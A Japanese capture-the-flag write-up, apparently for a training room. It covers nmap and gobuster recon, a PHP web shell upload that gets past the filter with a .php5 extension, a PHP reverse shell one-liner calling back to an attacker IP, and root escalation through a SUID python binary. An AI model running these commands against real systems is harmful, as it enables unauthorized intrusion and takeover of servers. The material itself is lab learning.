
一部を■で隠しています。
Task2:偵察
設問を見ると何をすればいいかが分かる。nmapとGoBusterしよう。
$ nmap -sC -sV $IP 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/panel (Status: 301)
Task3 : シェル獲得
設問にリバースシェルをアップロードまで書いてしまっているので、それをやる。
/panel/にアクセスしてみよう。

アップロード画面ですね。念のため/panel/index.phpとしてみるとつながるのでphpをwebshellを上げてやればよさそう。
何とかphpファイルをアップロードする
GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
ここらへんがいいんじゃないかな。
とりあえずアップロードしてみる。

だめらしい。bypass方法は色々考えられるが、一番簡単な拡張子の変形でbypassしてみる。
実はPHPは色んな拡張子が使える。.php .php3 .php4 .php5 .phtml
php5に変えてみるとアップロードできた。
アップロード先へ行ってみるとWebshellが起動しているのでリバースシェルをやろう。
リバースシェル
自分のPCで> nc -vnlp 30303こんな風に待って、`php -r '$sock=fsockopen("[yourIP]",30303);exec("/bin/sh -i <&3 >&3 2>&3");''で起動。
ログインユーザーのホームディレクトリにuser.txtがあった。
$ cd ~ $ ls html user.txt $ cat user.txt ■■■■■■■■■■
Task 4: 権限昇格
設問にはSUIDを見よと書いてあるので、見てみよう。
$ find / -type f -user root -perm -4000 2>/dev/null /usr/bin/python
GTFOBinsに情報があるかと、設問の文字数を見ながら探すと、pythonを使えばよさそうである。
$ sudo install -m =xs $(which python) .
sudo: no tty present and no askpass program specified
$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
vmlinuz
vmlinuz.old
ls /root
root.txt
cat /root/root.txt
■■■■■■■■■■■■■■■
ok. pythonのSUIDによる権限昇格コードはそのままコピペじゃ動かず、pythonの場所をフルパスにしないといけないので注意。